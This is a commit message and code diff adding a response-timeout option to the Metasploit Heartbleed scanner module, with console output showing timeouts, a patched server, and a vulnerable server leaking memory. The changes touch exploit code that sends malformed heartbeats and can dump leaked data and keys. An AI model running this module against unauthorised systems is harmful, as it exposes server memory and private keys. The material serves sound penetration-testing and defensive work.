Rebase. Add timeout option support

Rebase to account for the KEYS merge.

Modify bleed() to work with timeout option.

Modify establish_connect() to work with timeout option.

Modify loot_and_report() to work with timeout option.

---Test Console Output---

Client Hello Timeout:

msf auxiliary(openssl_heartbleed) > run

[*] 127.0.0.1:443 - Sending Client Hello...
[-] 127.0.0.1:443 - No Client Hello response after 10 seconds...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Patched Apache:

msf auxiliary(openssl_heartbleed) > run

[*] 127.0.0.1:443 - Sending Client Hello...
[*] 127.0.0.1:443 - Sending Heartbeat...
[-] 127.0.0.1:443 - No Heartbeat response...
[-] 127.0.0.1:443 - Looks like there isn't leaked information...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Vulnerable Server:

msf auxiliary(openssl_heartbleed) > run

[*] 192.168.1.3:443 - Sending Client Hello...
[*] 192.168.1.3:443 - Sending Heartbeat...
[*] 192.168.1.3:443 - Heartbeat response, 17403 bytes
[+] 192.168.1.3:443 - Heartbeat response with leak
[*] 192.168.1.3:443 - Printable info leaked: STUFF STUFF STUFF
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Author: Zinterax

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

@@ -110,7 +110,8 @@ def initialize
         'juan vazquez', # Msf module
         'Sebastiano Di Paola', # Msf module
         'Tom Sellers', # Msf module
-        'jjarmoc' #Msf module; keydump, refactoring..
+        'jjarmoc', #Msf module; keydump, refactoring..
+        'Ben Buchanan' #Msf module
       ],
       'References'     =>
         [
@@ -140,7 +141,8 @@ def initialize
         OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
         OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
         OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
-        OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
+        OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
+        OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
       ], self.class)
 
     register_advanced_options(
@@ -186,6 +188,10 @@ def peer
     "#{rhost}:#{rport}"
   end
 
+  def response_timeout
+    datastore['RESPONSE_TIMEOUT']
+  end
+
   def tls_smtp
     # https://tools.ietf.org/html/rfc3207
     sock.get_once
@@ -237,15 +243,15 @@ def jabber_connect_msg(hostname)
 
   def tls_jabber
     sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
-    res = sock.get
+    res = sock.get(response_timeout)
     if res && res.include?('host-unknown')
       jabber_host = res.match(/ from='([\w.]*)' /)
       if jabber_host && jabber_host[1]
         disconnect
         connect
         vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
         sock.put(jabber_connect_msg(jabber_host[1]))
-        res = sock.get
+        res = sock.get(response_timeout)
       end
     end
     if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@@ -254,14 +260,14 @@ def tls_jabber
     end
     msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
     sock.put(msg)
-    res = sock.get
+    res = sock.get(response_timeout)
     return nil if res.nil? || !res.include?('<proceed')
     res
   end
 
   def tls_ftp
     # http://tools.ietf.org/html/rfc4217
-    res = sock.get
+    res = sock.get(response_timeout)
     return nil if res.nil?
     sock.put("AUTH TLS\r\n")
     res = sock.get_once
@@ -291,7 +297,7 @@ def run_host(ip)
 
   def bleed()
     # This actually performs the heartbleed portion
-    establish_connect
+    return :timeout if (establish_connect) == :timeout
     vprint_status("#{peer} - Sending Heartbeat...")
     sock.put(heartbeat(heartbeat_length))
     hdr = sock.get_once(5)
@@ -335,6 +341,7 @@ def bleed()
   end
 
   def loot_and_report(heartbeat_data)
+    return if heartbeat_data == :timeout
     if heartbeat_data
         print_good("#{peer} - Heartbeat response with leak")
         report_vuln({
@@ -344,7 +351,7 @@ def loot_and_report(heartbeat_data)
           :refs => self.references,
           :info => "Module #{self.fullname} successfully leaked info"
         })
-        if action.name == 'DUMP' # Check mode, dump if requested.
+        if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
           pattern = datastore['DUMPFILTER']
           if pattern
             match_data = heartbeat_data.scan(pattern).join
@@ -506,7 +513,12 @@ def establish_connect
     vprint_status("#{peer} - Sending Client Hello...")
     sock.put(client_hello)
 
-    server_hello = sock.get
+    server_hello = sock.get(response_timeout)
+    unless server_hello
+      vprint_error("#{peer} - No Client Hello response after #{response_timeout} seconds...")
+      return :timeout
+    end    
+
     unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
       vprint_error("#{peer} - Server Hello Not Found")
       return
@@ -534,3 +546,4 @@ def key_from_pqe(p, q, e)
   end
 
 end
+